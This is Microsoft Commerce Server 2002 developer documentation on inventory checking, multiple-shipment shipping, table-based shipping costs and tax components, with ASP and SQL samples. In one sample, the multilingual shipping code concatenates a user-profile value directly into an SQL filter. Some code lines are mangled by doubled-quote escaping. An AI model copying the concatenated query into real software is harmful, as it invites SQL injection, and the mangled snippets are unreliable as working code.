  • Inventory and Backordering
  • Reducing Inventory


Inventory and Backordering

How you manage inventory on your site depends largely on how you want to respond to a situation in which a given item is out of stock. In such a situation you can either place the item on backorder, or you can notify the customer that the item is not currently available.

The FlagInventory and LocalInventory components, which have an affinity with the Inventory stage, coordinate with the Product Info stage to support either response.

Flag Inventory Checking

Quantity-Based Inventory Checking

Flag Inventory Checking

The FlagInventory component is designed to identify items in the items SimpleList object that are out of stock. When this component runs, it iterates through the items in the items SimpleList object to verify that the _product_in_stock name/value pair for a given item is not zero (0).

If the _product_in_stock name/value pair evaluates to zero (0), the FlagInventory component can respond in one of two ways. The component supports a Disallow Backorder property, which you set by using the property page for the component. If the Disallow Backorder check box is selected, and _product_in_stock evaluates to zero (0), the FlagInventory component adds a _pur_out_of_stock message to the _Purchase_Errors SimpleList object. If the Disallow Backorder check box is not selected, and _product_in_stock evaluates to zero (0), then the _inventory_backorder name/value pair for the affected item is set to zero (0).

Note

  • The FlagInventory component requires that each line item specify _product_in_stock.

Quantity-Based Inventory Checking

The LocalInventory component compares the number of units in the Quantity name/value pair to the number in the _product_local_inventory name/value pair. The _product_local_inventory name/value pair should represent the actual number of items in stock. If the Quantity name/value pair exceeds _product_local_inventory, the difference between these two numbers is written to the _inventory_backorder name/value pair, provided that the LocalInventory component is configured to allow backordering. Otherwise, the LocalInventory component, like the FlagInventory component, writes a _pur_out_of_stock message to the _Purchase_Errors SimpleList object.

The LocalInventory component should be added to the basket pipeline to check item availability when the product is added to the basket. If you include the LocalInventory component in the pipeline for your site, the script that you use to display the basket to your users should be written to notify them that a requested item is either out of stock or on backorder.

Note

  • The LocalInventory component requires that each line item specify product_local_inventory.


Reducing Inventory

The FlagInventory and LocalInventory components are strictly informational components. This means that while they provide notification that a given item is out of stock, they assume that _product_local_inventory for the line item has been maintained by some other process. The SQLItemADO pipeline component can be used to run an SQL query that updates the product inventory.

Note

  • You must unpack a site before starting the following procedure.

To update your inventory using the SQLItemADO pipeline component

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. In the Pipeline Editor, browse to the location of the file total.pcf (for example, <drive:>\Inetpub\wwwroot\<site name>\pipeline), and then double-click the file.

    The total.pcf pipeline appears.

  3. On the pipeline, select the Inventory stage, and then on the Edit menu, point to Insert Component, and click After.
  4. In the Choose a component dialog box, do the following:
    Use this | To do this
    Stages | Select All.
    Components | Select SQLItemADO.
  5. Click OK. The SQLItemADO component appears as a valve on the pipeline.
  6. Double-click the SQLItemADO component.
  7. In the Component Properties dialog box, on the SQL Item (ADO) tab, do the following:
    Use this | To do this
    Connection String | Type an OLE DB connection string to the table storing the inventory data.
    Query Type the SQL query that will update the inventory in the database. The syntax required to replace values in the SQL query is:

    :<position>

    This will replace the items in the SQL query with items listed in the Parameter List box. For example, if you had to replace two values in an SQL query, the format would be:

    SELECT * FROM:1 WHERE Param2='':2''
    Parameter List | Type the list of values you want to use in the SQL query that will be evaluated at run time. The Parameter List box uses a special format for replacement. To retrieve data from the order form, use the notation item.<orderformvalue>. For example, to retrieve the quantity of the items ordered from the order form, you would use item.quantity.

    Click OK.

  8. To save your changes, on the File menu, click Save.

Special Considerations for Inventory

You might have a situation in which two customers want an item of which there is only one in stock. As the OrderForm object for each customer passes through the Plan pipeline, the inventory components indicate to both customers that the product is in stock. This is correct behavior, because the number that indicates how many items of a given SKU are in stock has not yet been reduced to zero (0) by an Accept stage component.

However, when the first customer runs through the Purchase pipeline, the SQLItemADO component will reduce the in-stock value to zero (0). When the second customer runs through the Purchase pipeline, the SQLItemADO component will reduce this value to a negative integer. This scenario creates a backorder, even if the Plan pipeline for the site is configured to not allow back ordering.

There are two ways to address this problem:

  • One solution is to include at the beginning of the Accept stage a SQLItemADO component that checks to ensure that the number of items in stock for a given SKU is greater than zero (0). If no items for a given SKU are in stock, the SQLItemADO component can place the items on backorder (by initializing the _inventory_backorder name/value pair) or can raise the _pur_out_of_stock error.
  • A second solution is to include an instance of the appropriate inventory component, FlagInventory for example, in both the Inventory stage (Plan pipeline) and the Accept stage (Purchase pipeline). Following this component, you would include the SQLItemADO component. The inventory component would run the query to decrement the in-stock value for the item.


Shipping Objects

Microsoft Commerce Server 2002 provides components to support multiple shipments per order.

This section contains:

  • Multiple-shipment Shipping Architecture. Describes the multiple-shipment shipping architecture, the components and objects it uses, and provides code showing how to use these features.
  • Multilingual Shipping Methods. Describes how to display shipping methods in the user's preferred language.
  • Using Site Server 3.0 Commerce Edition Shipping Components. Describes how to use the Site Server 3.0 Commerce Edition shipping components.


Multiple-shipment Shipping Architecture

The Commerce Server 2002 multiple-shipment shipping architecture consists of three pipeline components and two objects that work together to create a powerful and easy-to-use way of handling shipping.

This section contains:

  • Overview of the Multiple-shipment Shipping Architecture. Describes the multiple-shipment shipping architecture and components.
  • Setting Up the Pipeline and Cache. Describes the Active Server Pages (ASP) code required for using the multiple-shipment components in the pipeline.
  • Using the Splitter Component to Create Multiple Shipments. Describes how to set up the Splitter component to divide orders into multiple shipments.
  • Previewing Shipping Costs. Describes how to provide shipping cost previews.
  • Adding Shipping Methods and Components. Describes how to add shipping methods and individual shipping components to the multiple-shipment shipping architecture.
  • Shipping and Address Structures. Describes the dictionaries and simple lists used in the processing of multiple shipments.

See Also

Using Site Server 3.0 Commerce Edition Shipping Components

MinMaxShip Sample Pipeline Component


Overview of the Multiple-shipment Shipping Architecture

The multiple-shipment shipping architecture of Commerce Server 2002 has two purposes: simple modification of shipping method configuration by non-programmers, and the processing of multiple shipments per order.

In the multiple-shipment shipping architecture, the Shipping stage generally uses the same three components: the Splitter, the ShippingMethodRouter, and the ShippingDiscountAdjust components. The Splitter component in its shipping configuration takes the order and splits it into separate shipments. The ShippingMethodRouter component then processes the separate shipments. From the shipment and a database table of shipping information, the ShippingMethodRouter component determines which individual shipping component to use to process a given shipment. The optional third pipeline component, the ShippingDiscountAdjust component, applies shipping discounts to the order.

The ShippingMethodRouter, Splitter, and ShippingDiscountAdjust components are the only shipping components that should be inserted in a pipeline. The ShippingMethodRouter component runs shipping methods configured with the ShippingMethodManager object.

All shipping cost calculation components, except the Splitter component, should be registered with the ShippingMethodRouter component. The shipping cost calculation components that the ShippingMethodRouter component runs are configured in the Shipping Methods module in Commerce Server Business Desk.

The following figure illustrates the relationships between all of the parts of the shipment component process.

This figure illustrates how the Splitter component and the ShippingMethodRouter component work with other objects to process shipments.

Two components use the ShippingConfig table, which is used by the ShippingMethodRouter component. Business Desk uses one of these components, the ShippingMethodManager, to modify the database. The business manager can modify shipping methods through the Shipping Methods module in Business Desk.

The second component is the ShippingManagerCache. The CacheManager object uses this component to load data from the ShippingConfig table into the cache. The ShippingMethodRouter component, in turn, uses the ShippingManagerCache component to get and maintain the cached shipping information.

The following table lists the components and objects in the multiple-shipment shipping architecture, and provides links to more detailed information about each object and component.

Object | Description
ShippingMethodRouter | This object determines the shipping method, runs the individual shipping components, and calculates the total shipping costs for the order.
StepwiseShipping | This pipeline component calculates shipping for individual shipments. It handles charging by weight, quantity, and price. This component is run and configured by the ShippingMethodRouter component. This component can be replaced or augmented by custom components.
ShippingMethodManager Object | This object manages the ShippingConfig database table. This table is used by Business Desk through the ShippingMethodManager object. The ShippingConfig table contains the information used by the ShippingMethodRouter component.
ShippingManagerCache | This loader component is used by the CacheManager object to handle data from the ShippingConfig database table.
Shipping Object | This object provides a method, PreviewShipments, to produce shipping cost previews.
ShippingDiscountAdjust | This component applies shipping discounts to an order; it uses the multiple-shipment shipping architecture.
Splitter | In its shipping configuration, this component divides an order into multiple shipments based on a set of distinguishers.

Taxes are calculated on individual shipments because they can vary based on the shipment. New tax components need to take into account the multiple-shipment structure. The SampleRegionalTax component is an example of such a tax component. For more information about the multiple-shipment structure, see Shipping and Address Structures.

Handling charges, however, are calculated based on the order, rather than on the individual shipments.

See Also

Setting Up the Pipeline and Cache

Using the Splitter Component to Create Multiple Shipments

Previewing Shipping Costs

Adding Shipping Methods and Components

Shipping and Address Structures


Setting Up the Pipeline and Cache

In the multiple-shipment shipping architecture, the Shipping stage of a pipeline contains two or three components: Splitter, ShippingMethodRouter, and occasionally the ShippingDiscountAdjust component. The Splitter component divides the order into a series of shipments; the ShippingMethodRouter component takes the shipments created by the Splitter component, checks the shipping method, and runs the appropriately configured shipping component.

In addition to including the two pipeline components in the pipeline, you need to add some Active Server Pages (ASP) code to your pages to handle setting up the CacheManager object and to provide the Context dictionary values expected by the Splitter and ShippingMethodRouter components.

Both the Splitter and ShippingMethodRouter components use the CacheManager object to retrieve information from the ShippingConfig database table. The CacheManager object, in turn, uses a loader component, ShippingManagerCache, to retrieve the information from the database. Setting up the CacheManager object for the shipping components is roughly the same as for any other component using the CacheManager object. Most of the code is contained in the Global.asa file, in the Application_OnStart procedure. For example:

'' Code to set up the CacheManager object and loader for the
'' multiple shipping components.

'' Create a Dictionary object to hold the configuration information.
Set dShipConfig = Server.CreateObject(""Commerce.Dictionary"")

'' Add the connection string to the configuration dictionary.
"dShipConfig(""ConnectionString"") = ""Provider=SQLOLEDB;" & _
"Data Source=servername;Integrated Security='SSPI';""

'' Create a CacheManager object.
Set oCM = Server.CreateObject(""Commerce.CacheManager"")

'' Set the ProgID of the loader for the cache.
oCM.LoaderProgId(""ShippingManagerCache"") = _
                    ""Commerce.ShippingManagerCache""

'' Set the loader's configuration dictionary.
Set oCM.LoaderConfig(""ShippingManagerCache"") = dShipConfig

'' Set the CacheManager object refresh interval to 10 minutes.
oCM.RefreshInterval(""ShippingManagerCache"") = 10 * 60

'' Set the CacheManager object retry interval to 1 minute.
oCM.RetryInterval(""ShippingManagerCache"") = 60

'' Store a reference to the CacheManager object in the Application object.
Set Application(""MSCSCacheManager"") = oCM

Note that in the preceding code, you must use the identifier ""ShippingManagerCache"" when setting the LoaderProgID, LoaderConfig, and other properties. On the page that runs the pipeline, only one additional line of code is needed:

'' Add the items specific to the shipping components.
''
''Add a reference to the CacheManager object created in the Global.asa file
''to the Context dictionary.
Set dContext(""CacheManager"") = Application(""MSCSCacheManager"")

The code to invoke the pipeline would follow this code.

See Also

Overview of the Multiple-shipment Shipping Architecture

Using the Splitter Component to Create Multiple Shipments

Previewing Shipping Costs

Adding Shipping Methods and Components

Shipping and Address Structures


Using the Splitter Component to Create Multiple Shipments

The Splitter component allows you to split orders based on any of the attributes of the line items. The default distinguishers for splitting orders are shipping_method_id and shipping_address_id keys. You can specify other keys to use as criteria in the Input Distinguishers box on the Component Properties tab, which can be displayed by double-clicking the Splitter component in the Pipeline Editor.

Each line in the following table represents a dictionary pointed to by an element of the SimpleList object. The dictionaries also include a key, ItemIndexes, which is a reference to a SimpleList object. Each element in the SimpleList object is an index into the LineItems dictionary, containing line items in the actual order.

The following example has four line items, numbered zero through three. The following table contains a list of some of their attributes.

shipping_method_id | shipping_address_id | shipping_date | catalog | vendor
A | Home | ASAP | A | A
A | Home | ASAP | A | A
B | Work | ASAP | B | B
A | Work | 3/1 | C | B

If you split the previous information by the distinguishers shipping_method_id and shipping_address_id, to an output structure called _shipments, a SimpleList object of dictionaries will be on your order form called ""shipments"" with the following entries:

shipping_method_id | shipping_address_id | ItemIndexes
A | Home | 0,1
B | Work | 2
A | Work | 3

If you sort the the four line items by vendor, to an output structure called _Vendors, a SimpleList of dictionaries will be on your order form called ""_Vendors"" with the following entries:

vendor | ItemIndexes
A | 0,1
B | 2,3

Previewing shipping costs for a user is more complex when shipments are split. You can use the PreviewShipments method of the Shipping object to get the data to display in your ASP page. For more information, see Shipping.PreviewShipments.

See Also

Overview of the Multiple-shipment Shipping Architecture

Setting Up the Pipeline and Cache

Previewing Shipping Costs

Adding Shipping Methods and Components

Shipping and Address Structures


Previewing Shipping Costs

To display the shipping cost previews on your page, use the PreviewShipments method of the Shipping object.

The PreviewShipments method creates the shipping cost previews by splitting the order into individual shipments, just as the Splitter component does in its shipping configuration. For more information about how shipment distinguishers are used to split shipments, see Using the Splitter Component to Create Multiple Shipments and Splitter.

The PreviewShipments method returns a SimpleList object of dictionaries, one for each shipment. Each shipment dictionary in turn contains a SimpleList object of dictionaries, each of which contains the shipping cost for using a particular shipping method.

To loop through all the shipping cost previews for all shipments, you might use code like the following:

Set oShip = Server.CreateObject(""Commerce.Shipping"")
ADistinguishers = Array(""shipping_method_id"", ""shipping_address_id"")
slShipments = oShip.PreviewShipments(dOrder, dContext, ADistinguishers)
For Each dShipment In slShipments
    For Each dPreview In dShipment.Previews

        '' Inside the loop, you can get the preview
        '' information:
        '' dPreview(""shipment_error"")  -  the shipment error, if any
        '' dPreview(""shipping_method_id"")  -  the shipping method ID
        '' dPreview(""shipping_method_name"")  -  the shipping method name
        '' dPreview(""description"")  -  the shipping method description
        '' dPreview(""_cy_shipping_total"")  -  the shipping cost

    Next
Next

See Also

Overview of the Multiple-shipment Shipping Architecture

Setting Up the Pipeline and Cache

Using the Splitter Component to Create Multiple Shipments

Adding Shipping Methods and Components

Shipping and Address Structures


Adding Shipping Methods and Components

For business managers and most site developers, the process of adding shipping methods and installing components is straightforward. Shipping methods using installed components are added through Commerce Server Business Desk. For information about using Business Desk to add shipping methods, see Customizing Shipping Methods.

Similarly, installing third-party shipping pipeline components should be a matter of following the installation instructions.

Component developers, however, who need to test components or provide component installers, need to know how to add custom shipping methods to the multiple-shipment shipping architecture. This process is described in Adding a Custom Shipping Method.

Important

  • Shipping components should expose the IPipelineComponentAdmin::GetConfigData and IPipelineComponentAdmin::SetConfigData methods from the IDispatch implementation, because the Business Desk module(s) that manage these components must be able to call these methods from a late-bound (Active Server Pages) environment.

Adding a Custom Shipping Method

Creating a Custom Shipping Method Page

Adding a Custom Shipping Method

The shipping method editing pages in Business Desk contain two sections, Shipping Method Properties and Rates. Component writers should implement these edit pages in any custom shipping method that they create. The framework handles some of the edit page implementation and all of the list page implementation.

The Shipping Method Properties section is responsible for getting data into and out of the ShippingConfig database table. This data is processed by the ShippingCommon_edit.asp page using edit fields in the top section of the Shipping Method Module in Business Desk. This section also sets up the taskbar for the page and handles all the necessary framework files to make the custom pages fully functional. Be sure to include the ShippingCommon_edit.asp page at the top of any custom shipping method page you create.

The custom shipping method page you create is responsible for processing data in the second section of the page, Custom Properties. This data will reside in the TableShippingRates database table.

Creating a Custom Shipping Method Page

To create a page for your custom data section, begin with an existing page such as the MinMax_edit.asp (or another of the Shipping Method pages) and then customize it.

To create a custom shipping method page

  1. At the top of the page, place a reference to include the file ShippingCommon_edit.asp.
  2. Replace the XML meta- and data-islands with your custom XML meta- and data-islands.
  3. Customize the DIV section to describe the new XML meta- and data-islands.
  4. If necessary, add hidden form input fields to hold values and an event handler (client-side).
  5. Replace the strings in GetActionPageName and GetActionFriendlyName with the names of your custom method page.
  6. Add code to the ProcessCustomShippingData function to handle task button events (loading and saving your custom data).

All the appropriate changes have been made to the shipping page and you are now ready to install it and use it in the Shipping Methods module in Business Desk.

To install the new page

  1. Add information about the new method to the Shipping_methods.xml file in the <drive:>\Inetpub\wwwroot\<Business Desk site name>\Config directory. This information notifies the framework that a new method exists and sets action (posting) information. It will then display the new method as a choice on the taskbar located on the list page, and it will handle posting correctly (see the Shipping_methods.xml file for an example).
  2. Add the new page to <drive:>\Inetpub\wwwroot\<Business Desk site name>\Shipping folder and install and register the custom DLL containing the shipping component (for example, Minmaxatl.dll). When Business Desk is reloaded, your custom module should appear on the menu of the Shipping Methods module list page. When editing this method, your custom components should appear in the lower section of the edit page.


Shipping and Address Structures

The list of shipments produced by the Splitter component contains several nested structures.

The Splitter component in the shipping configuration assigns the list of shipments to the Order.Shipments object. The ShippingMethodRouter component breaks this list down further into a list of shipments_to_process for each individual component run. The list of shipments is a SimpleList object of dictionaries, one for each shipment. The following table shows a sample of the keys in the shipment dictionaries.

Key | Description
shipping_address_id | The ID in the Address dictionary of the dictionary containing the address information.
shipping_method_id | The shipping method ID, taken from the ShippingConfig database table.
shipping_method_name | The name of the shipping method.
_cy_shipment_total | The total shipping cost for the items in this shipment.
ItemIndexes | A SimpleList object of indexes to the line items in the order.

The following example code shows how a component might get at the data in the shipments list:

'' Assume that dContext is the Context dictionary.
For Each dShipment In dContext.shipments_to_process

    '' Get the address information by getting the Address dictionary.
    Set dAddress = dOrder.Addresses(dShipment.address_id)
    '' Manipulate the address information here.

    '' Get the information about each line item in the shipment.
    '' Items is a SimpleList of dictionaries. ItemIndexes stores
    '' the indexes of the items in the current shipment.
    For Each nIndx In dShipment.ItemIndexes
        '' Retrieve the dictionary for the given item.
        dItem = dOrder.Items(nIndx)
        '' Manipulate the individual item dictionary here.
    Next

Next

Each address dictionary contains the following keys:

Key | Description
address_name | Descriptive name for the address.
address_type | Address type: 0 - Neutral. 1 - Shipping. 2 - Billing.
first_name | First name of the addressee.
last_name | Last name of the addressee.
address_line1 | First line of the address.
address_line2 | Second line of the address.
city | City name.
region_name | Name of the state, region, or province.
region_code | Code for the state, region, or province.
postal_code | Postal code.
country_name | Country/region name.
country_code | Country/region code.
tel_number | Telephone number.

Notice that although the shipping address is attached to each item, the billing address is attached to the order. The billing_address_id key identifies which address in the Addresses dictionary is the billing address:

'' dOrder is an Order dictionary.
'' dBillingAddress is a dictionary.
Set dBillingAddress = dOrder.Addresses(dOrder.billing_address_id)

See Also

Overview of the Multiple-shipment Shipping Architecture

Setting Up the Pipeline and Cache

Using the Splitter Component to Create Multiple Shipments

Previewing Shipping Costs

Adding Shipping Methods and Components


Multilingual Shipping Methods

Creating multilingual shipping methods and descriptions is an important component of providing fully localized content to users. In some cases, the names of the companies that supply shipping services are the same in many languages. However, the descriptions associated with each of the shipping suppliers needs to be localized even if the shipping supplier name does not.

Commerce Server 2002 provides a sample site, the Order sitelet, that demonstrates how to filter shipping methods based on a language identifier. If you use the default configuration for the Solution Sites or any of the other sitelets provided by Commerce Server, and you create shipping methods in multiple languages through Commerce Server Business Desk, all of the shipping methods you create will be displayed to the user on the ASP file used to display shipping methods in your application. To limit the displayed shipping methods to only those matching the preferred language of the user, the GetInstalledMethodList method of the ShippingMethodManager object must be passed a value for the filter parameter, for example, language_id = <user''s preferred language>.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

To display multilingual shipping methods in the language preferred by the user

  1. Create the multilingual shipping methods in Business Desk.

    For more information about creating multilingual shipping methods in Business Desk, see Customizing Shipping Methods.

  2. Open the ASP file that is used to display shipping methods on your site. If you are using a Solution Site, the file is pickship.asp; if you are using the Order sitelet, the file is shipping.asp. This file is located at <drive:>\Inetpub\wwwroot\<Site or Sitelet name>\include.
  3. In the line of code that calls the GetInstalledMethodList method, pass the language identifier into the filter property, for example language_id = <user''s preferred language>.

    How you identify the language preferred by the user is at your discretion. In the following code the language is identified from the profile data gathered about the user:

    Dim oShipMgr
Dim oUser
Dim strSelectedLang
Dim rstShipInfo

Set oShipMgr = CreateObject(""Commerce.ShippingMethodManager"")

'' strConnectionString is the connection sting to the database
'' containing the ShippingConfig table.
Call oShipMgr.Initialize(strConnectionString)

'' Get the selected language from the user profile.
strSelectedLang = oUser(""GeneralInfo.SelectedLanguage"")

'' Pass the selected language to the GetInstalledMethodList method.
Set rstShipInfo = oShipMgr.GetInstalledMethodList(""language_id = ''"" & strSelectedLang
& ""''"", vbNullString, Array(""shipping_method_id"",""shipping_method_name""))

'' Write the available shipping methods to the page.
  4. On the File menu, click Save, and then click Exit.

The shipping methods that are displayed to the user are now displayed in the user's preferred language.

See Also

ShippingMethodManager Object


Using Site Server 3.0 Commerce Edition Shipping Components

If you want to use the Site Server 3.0 Commerce Edition single-shipment shipping components, you will first need to remove the Splitter, ShippingMethodRouter, and ShippingDiscountAdjust components from the pipeline. Site Server 3.0 Commerce Edition components do not support the multiple-shipment shipping architecture used in Commerce Server 2002. You must also revert to Site Server 3.0 Commerce Edition tax components, because tax components typically use address and shipment information to configure the taxes. If you are using a site that has a Commerce Server 2002 Active Server Pages (ASP) code base, code changes will also be necessary.

The _cy_shipping_total name/value pair on the OrderForm object stores the total cost of shipping for an order.

The DefaultShipping component sets this name/value pair to zero (0). If you do not want to charge shipping on an order, you can make this the only component in the shipping stage.

In the Site Server 3.0 Commerce Edition single-shipment shipping architecture, components are coordinated to compute the shipping_total. For more information, see Component Coordination.

See Also

Multiple-shipment Shipping Architecture

MinMaxShip Sample Pipeline Component


Using Table Shipping

Table shipping uses values retrieved from a database to set the shipping total for an order.

The TableShippingADO component is designed to retrieve a single currency value from a database table based on a query that you specify, and to write this currency value to the order.[_shipping_total] key. To use this component, perform the following steps:

  1. Determine the basis of the calculation. For example, the basis might be the total weight of all the items in the order, and it might also depend on the shipping method selected by the customer.
  2. Create a table in the site database that stores the shipping cost as a function of the basis.
  3. Create a query designed to retrieve this value. If this query uses a product characteristic such as the total weight of the items in the order form, you might also need to modify the Product Information stage to ensure that this product information is present on the order form.
  4. Configure the property page for the TableShippingADO component to reference this query.

The sections that follow describe how to reference these steps. In this example, you will modify some existing code so that it uses a table to determine shipping costs based on the total weight and the shipping method.

Adding a Weight Attribute to the Product Table

Creating the Shipping Cost Table

Configuring the Component

Special Considerations for Table Shipping


Adding a Weight Attribute to the Product Table

In this example, the weight of each product is used to calculate the shipping cost. For this reason, weight must be specified for every item on your Web site. The following procedure describes how to add a column called ''weight'' to the Product table.

Note

  • This procedure assumes that you are using a site similar to the Site Server 3.0 Commerce Edition sample sites. It also assumes that you are using the QueryProductInfoADO component, and not the QueryCatalogInfo component in your Product Information stage.

To add a database column using SQL Enterprise Manager

  1. Click Start, point to Programs, point Microsoft SQL Server, and then click Enterprise Manager.
  2. Expand the Microsoft SQL Servers node, expand the SQL Server Group node, expand the node for the server that contains the Web site databases, expand the Databases node, expand the name of the database containing your Commerce Server site databases, expand the Objects node, and then expand the Tables node. Double-click the product table for the site. (In this example, the table is called healthy_product.)
  3. In the Manage Tables dialog box, do the following:
    Use this | To do this
    Column Name | Add a new column on the last row named weight.
    Datatype | Select Float.
  4. Click Close to close the dialog box and, when prompted, click Yes to apply your changes.

Next, you need to add the weight column to the query that is used by the QueryProdInfoADO component in the Plan or Basket pipeline for the site. In this example, the name of this query is product_info, and is defined in the Global.asa file.

To add the weight attribute to the product query

  1. Open the Global.asa file for the site using an editor such as Notepad.
  2. Locate the script where product_info is added to the query map. It begins with the following commands:
    Set MSCSQueryMap.product_info = AddQuery(""SELECT
  3. Add pf.weight to the list of columns returned by the SELECT statement. This ensures that the product weight is included in the item list for each product in the order form.


Creating the Shipping Cost Table

You will need to add a shipping cost table to the database. The shipping cost table in this example uses the sum of the weight of each of the items in the items list, as well as the shipping method, as the basis of the shipping cost. The weight of each item is expressed in pounds. The shipping cost is expressed as an integer, in the smallest units of the currency (in this example, pennies). The following SQL script generates such a table:

CREATE TABLE dbo.healthy_shipping_costs (

    shipping_method varchar (20) NOT NULL ,

    min_weight float NOT NULL ,

    max_weight float NOT NULL ,

    cost int NOT NULL

PRIMARY KEY (shipping_method,min_weight,max_weight)

)

GO

truncate table healthy_shipping_costs

go

insert into healthy_shipping_costs values (''shipping_method_1'', 0.0, 2.0, 450)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 2.0, 3.0, 540)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 3.0, 4.0, 630)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 4.0, 5.0, 720)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 5.0, 6.0, 810)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 6.0, 7.0, 900)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 7.0, 8.0, 990)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 8.0, 9.0, 1080)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 9.0, 15.0, 1400)

go

insert into healthy_shipping_costs values (''shipping_method_1'', 15.0, 100.0, 2000)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 0.0, 2.0, 300)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 2.0, 3.0, 390)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 3.0, 4.0, 480)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 4.0, 5.0, 570)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 5.0, 6.0, 660)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 6.0, 7.0, 750)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 7.0, 8.0, 840)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 8.0, 9.0, 930)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 9.0, 15.0, 1000)

go

insert into healthy_shipping_costs values (''shipping_method_2'', 15.0, 100.0, 1200)

go

After creating the shipping cost table, add a query to the QueryMap dictionary for the site. This query should be designed to take as parameters all the values that are used as the basis. In this example, these parameters are the weight of all the items in the order, along with the shipping method. The query should be included among the queries initialized in the Global.asa file for the site, as shown in the following code:

Set MSCSQueryMap.ship_cost = AddQuery(""SELECT cost FROM healthy_shipping_costs WHERE min_weight <= ? AND max_weight > ? AND shipping_method = ?"")

Because the QueryMap dictionary for the site is usually included in the pipe context that is passed to an Order Processing pipeline, the TableShippingADO component can be configured to reference this query.


Configuring the Component

To configure the TableShippingADO component to use the query that you added to the QueryMap dictionary, use the Pipeline Editor to insert the TableShippingADO component into a pipeline.

To insert the TableShippingADO component into a pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open. Browse to the location of your existing .pcf file, and open it.

    A graphic of your pipeline appears.

  3. In the Shipping stage of the pipeline graphic, delete the DefaultShipping component, if it exists.
  4. On the Edit menu, point to Insert Component, and then click After.
  5. In the Choose a component dialog box, do the following:
    Use this | To do this
    Stages | Select Shipping.
    Components | Select TableShippingADO.
  6. Click OK. The TableShippingADO pipeline component appears as a valve on the pipeline graphic.
  7. Double-click the TableShippingADO component.
  8. In the Component Properties dialog box, on the Table Shipping (ADO) tab, do the following:
    Use this | To do this
    Apply when | Select Has any value, which means that the query is run only when the order form contains a shipping_method value. This setting enables the Plan pipeline to be run in the Basket.asp page, before the customer has selected a shipping method and before the _shipping_cost name/value pair has been added to the order form. The Apply When setting identifies the circumstances under which the value returned by the query is written to the _shipping_cost name/value pair. If this field were set to Always, this component would fail on the Basket page because the query could not run successfully. When the Plan pipeline is run again on the Payment.asp page, the shipping_method name/value pair now appears on the order form, and the ship_cost query is run.
    Method | Leave blank.
    Connection String | Type the connection string name on which the query in the Query box is run.
    Query | Type the name of the query to be run. This example uses ship_cost, the name of the Dictionary entry that was added to the QueryMap dictionary.
    Parameter List Type the values to pass to the query. The first two values must be the same (the weight of the total order), because the weight is used as the first two parameters in the query. The third parameter is the shipping method. To implement this example, enter the following parameter list:
    sumq._product_weight sumq._product_weight order.shipping_method
    Column | Type the name of the column that contains the shipping cost. In this example, this setting equates to the column cost that was defined as part of the shipping table. If no value is entered in this column, the component defaults to the value cost. In addition, if you specify a query that returns multiple rows of data, all rows after the first row are ignored.
  9. Click OK.
  10. To save your changes, on the File menu, click Save.


Special Considerations for Table Shipping

When configuring the TableShippingADO component, keep in mind that if your query references an item in the item Dictionary, you should make sure that the query that you run in the Product Information stage is designed to retrieve that value from the product database. For example, if the TableShippingADO component references _product_weight as a parameter to the component's query, then your product table should contain a column named weight, and your QueryProdInfoADO component should run a query that retrieves this column from storage in the item Dictionary.


Tax Objects

Although Microsoft Commerce Server 2002 includes the Site Server 3.0 Commerce Edition tax components, those components will not work with the new multiple-shipment shipping architecture. Only the SampleRegionalTax pipeline component in Site Server 3.0 Commerce Edition takes into account the multiple-shipment shipping architecture.

Notes

  • The tax components shipped with Commerce Server 2002 are provided only for evaluation and testing purposes. Microsoft strongly recommends that you have an independent tax professional verify all applicable tax rates and data generated by these components before you use such information for personal or business purposes.
  • The tax components assume that all line items are in the same currency. Taxing orders that contain items in more than one currency requires custom development.

This section contains:

  • Site Server 3.0 Commerce Edition Tax Components. Explains how to use Site Server 3.0 tax components.

See Also

SampleRegionalTax


Site Server 3.0 Commerce Edition Tax Components

The Tax stage and other tax components ensure that order._tax_total and order._tax_included keys are set. If not, an error is generated.

If you want to use the Site Server 3.0 Commerce Edition components, you will not be able to use the Splitter, ShippingMethodRouter, and StepwiseShipping components. For information about using Site Server 3.0 Commerce Edition shipping methods, see Using Site Server 3.0 Commerce Edition Shipping Components.

You can run all of the components in the Tax stage unless a fatal error is returned. To cooperate, one component in the tax stage must set the _tax_total key, or a shopper warning is raised. Each component must check the resulting _tax_* values. If these values are already set, the component should return without doing anything. If the values are not set, the component will attempt to calculate the tax and if it is successful, set the _tax_* values.

In addition, some Site Server 3.0 Commerce Edition tax components require that the value of the _ship_to_country key is set to the intended country/region; otherwise, the component will not run.

In each of the tax components, the country/region name can be specified as a parameter even though the name of the country/region is part of the name of the component (for example, SimpleCanadaTax). This is because the name of the component describes only the model for computing sales tax, and not the country/region to which it applies. For example, another country/region might use a tax model similar to Canada's model. Because the country/region name is specified, the tax model (and its corresponding component) can be used for more than one country/region.

See Also

DefaultTaxCy, DefaultTax

SampleRegionalTax

SimpleCanadaTax

SimpleJapanTax

SimpleUSTax

SimpleVATTax

RequiredTaxCy, RequiredTax


Business-to-Consumer Pipelines

The business-to-consumer Order Processing pipelines (OPP) are used in Commerce Server sites designed for retail shopping by the public. These pipelines implement functions that are performed at different times during the shopping process.

This section contains:

  • Product Pipeline (Product.pct). Runs OPP components that compute price and discount information for individual products. This pipeline is often used to compute information that is displayed on the page Product.asp.
  • Plan Pipeline (Plan.pct). Runs OPP components that present the user with an order total, including all promotional discounts, taxes, and shipping and handling charges.
  • Purchase Pipeline (Purchase.pct). Runs OPP components that validate the payment for a user, performs the actual purchase transaction, writes an order to database storage and, optionally, finalizes a receipt by writing the contents of the OrderForm object to the receipt database.


Product Pipeline

